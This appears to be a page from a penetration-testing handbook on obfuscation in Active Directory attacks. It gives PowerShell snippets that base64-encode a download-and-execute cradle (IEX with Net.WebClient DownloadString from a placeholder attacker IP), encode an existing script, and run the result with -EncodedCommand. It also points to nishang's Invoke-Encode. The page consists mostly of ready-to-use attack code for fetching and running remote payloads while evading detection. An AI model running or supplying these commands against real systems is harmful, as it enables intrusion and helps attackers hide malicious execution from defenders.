> For the complete documentation index, see [llms.txt](https://aidenpearce369.gitbook.io/handbook/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://aidenpearce369.gitbook.io/handbook/ad-pentesting/bypass-techniques/obfuscation.md).

# OBFUSCATION

Encode a PowerShell command in base64 format

```powershell
$command = 'IEX (New-Object Net.WebClient).DownloadString("http://<IP>/<SCRIPT>")'
$bytes = [System.Text.Encoding]::Unicode.GetBytes($command)
$encodedCommand = [Convert]::ToBase64String($bytes)
```

Encode existing command in the system in base64 format

```powershell
$encodedCommad = [System.Convert]::ToBase64String([System.IO.File]::ReadAllBytes('<PATH TO SCRIPT>')) 
```

Run encoded command in PowerShell

```powershell
Powershell -EncodedCommand $encodedCommand
```

### Invoke-Encode

<https://github.com/samratashok/nishang/blob/master/Utility/Invoke-Encode.ps1>
